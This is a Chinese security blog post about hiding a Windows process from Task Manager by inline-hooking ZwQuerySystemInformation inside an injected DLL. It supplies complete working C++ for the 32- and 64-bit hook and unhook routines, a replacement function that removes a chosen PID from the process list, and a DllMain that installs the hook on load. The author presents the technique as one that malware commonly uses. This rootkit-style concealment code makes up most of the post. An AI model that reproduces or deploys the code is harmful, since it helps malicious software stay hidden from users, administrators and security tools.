前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >干货 | 通过HOOK底层API实现进程隐藏

干货 | 通过HOOK底层API实现进程隐藏

作者头像
HACK学习
发布2021-07-21 16:20:14
2.1K0
发布2021-07-21 16:20:14
举报
文章被收录于专栏:HACK学习

前言

一次跟师傅交流时师傅谈到有些EDR或AV,他们保护目标主机,甚至无进程,不经想到病毒实际上也常用这种技术。当然,做到隐藏,一个简单的dll注入或者劫持就可以,但本文主要讲解关于进程的隐藏。

PE文件隐藏可以通过

•进程伪装: 将进程名替换成其他正常进程的名称(修改PEB路径和命令行信息)•傀儡进程: 通过将主进程挂起,替换内存数据,卸载镜像,修改上下文,并执行真正我们想要执行的进程,这也是一些壳的原理•HOOK: 通过HOOK三环最底层APIZwQuerySystemInformation实现隐藏,这是本文的重点•COM劫持、DLL劫持、DLL注入......

实现原理

在正向开发中,要想做到进程遍历,往往需要使用EnumProcess或是快照CreateToolhelp32Snapshot这些函数 而这些函数的底层(ring 3),都是调用的ZwQuerySystemInformation

代码语言:javascript
复制
NTSTATUS WINAPI ZwQuerySystemInformation(  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,  _Inout_   PVOID                    SystemInformation,  _In_      ULONG                    SystemInformationLength,  _Out_opt_ PULONG                   ReturnLength);

如果通过hook进行对ZwQuerySystemInformation的重定向,那么就可以改变执行流,返回的信息中已经被我们篡改。32位下和64位下需要修改的字节数是不同的,使用xdbg断点找到对应的硬编码

32位下: 需要修改5个字节硬编码

代码语言:javascript
复制
0xe9 xx xx xx xx

64位下: 需要修改12个字节的硬编码

代码语言:javascript
复制
0x48 0xb8, xx xx xx xx xx xx xx xx0xFF 0xE0

64位下该函数的名称已经改为RtlGetNativeSystemInformation。将hookZwQuerySystemInformation函数写在dll中,这样方便注入到任何进程中。

实现代码

hook函数

代码语言:javascript
复制
void hookZwQuerySystemInformation(){    //获取ZwQuerySystemInformation的地址    HMODULE hntdll = LoadLibraryA("ntdll.dll");    if (!hntdll) {        std::cout << "[!] Load ntdll Faild..\n";        return;    }#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#endif    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");    if (!ZwQuerySystemInformation) {        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";        return;    }#ifdef _WIN64    BYTE pData[12] = { 0x48,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xFF,0xE0 };    ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;    ::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));    // 保存前 12 字节数据    ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));#else    BYTE pData[5] = { 0xe9,0x0,0x0,0x0,0x0 };    //算出偏移地址    DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;    //得到完整的pData    RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));    //保存原来的硬编码    RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));#endif     DWORD dwOldProtect = NULL;    //修改为可写属性,不然会0xC00005访问错误    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);    //修改硬编码    RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));    //还原保护属性    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);}

unhook函数

代码语言:javascript
复制
void unhookZwQuerySystemInformation(){    //获取ZwQuerySystemInformation的地址    HMODULE hntdll = LoadLibraryA("ntdll.dll");    if (!hntdll) {        std::cout << "[!] Load ntdll Faild..\n";        return;    }#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#endif    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");    if (!ZwQuerySystemInformation) {        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";        return;    }    DWORD dwOldProtect = NULL;    //方便就直接改12个字节的可写属性    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);    //还原原来的硬编码#ifdef _WIN64    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));#else    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));#endif     //还原属性    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);}

自己可控的函数,即New_ZwQuerySystemInformation

代码语言:javascript
复制
NTSTATUS WINAPI New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength){    NTSTATUS status = NULL;    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;    DWORD dwHideProcessId = 29936;    //先卸载钩子    unhookZwQuerySystemInformation();    // 获取 ntdll.dll 的加载基址, 若没有则返回    HMODULE hntdll = LoadLibraryA("ntdll.dll");    if (!hntdll) {        std::cout << "[!] Load ntdll Faild..\n";        return status;    }    // 获取 ZwQuerySystemInformation 函数地址#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#else    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,        _Inout_   PVOID                    SystemInformation,        _In_      ULONG                    SystemInformationLength,        _Out_opt_ PULONG                   ReturnLength        );#endif    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");    if (!ZwQuerySystemInformation) {        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..\n";        return status;    }    //调用原来的函数,第二个参数是返回请求的信息    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);    if (NT_SUCCESS(status) && 5 == SystemInformationClass)    {        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;        while (TRUE)        {            // 判断是否是要隐藏的进程PID,是就把该进程信息删除            if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)            {                if (0 == pCur->NextEntryOffset)                {                    pPrev->NextEntryOffset = 0;                }                else                {                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;                }            }            else            {                pPrev = pCur;            }            if (0 == pCur->NextEntryOffset)            {                break;            }            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);        }    }    //挂钩    hookZwQuerySystemInformation();    return status;}

以上函数全部写在dll中,dllmain主函数:

代码语言:javascript
复制
BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        hookZwQuerySystemInformation();        g_hModule = hModule;        break;    case DLL_THREAD_ATTACH:        break;    case DLL_THREAD_DETACH:        break;    case DLL_PROCESS_DETACH:        unhookZwQuerySystemInformation();        break;    }    return TRUE;}

测试

•win10•64位dll•Injectdll(进程注入程序)•Taskmgr.exe

要注意的是dll的位数。找到任务管理器pid:

这里选择隐藏QQ程序

注入程序后

可以看到QQ进程信息已经剔除

思考

如何将所有进程钩住? 使用全局钩子,这里我认为是两个知识点,就不继续展开说了。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 实现原理
  • 实现代码
  • 测试
  • 思考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档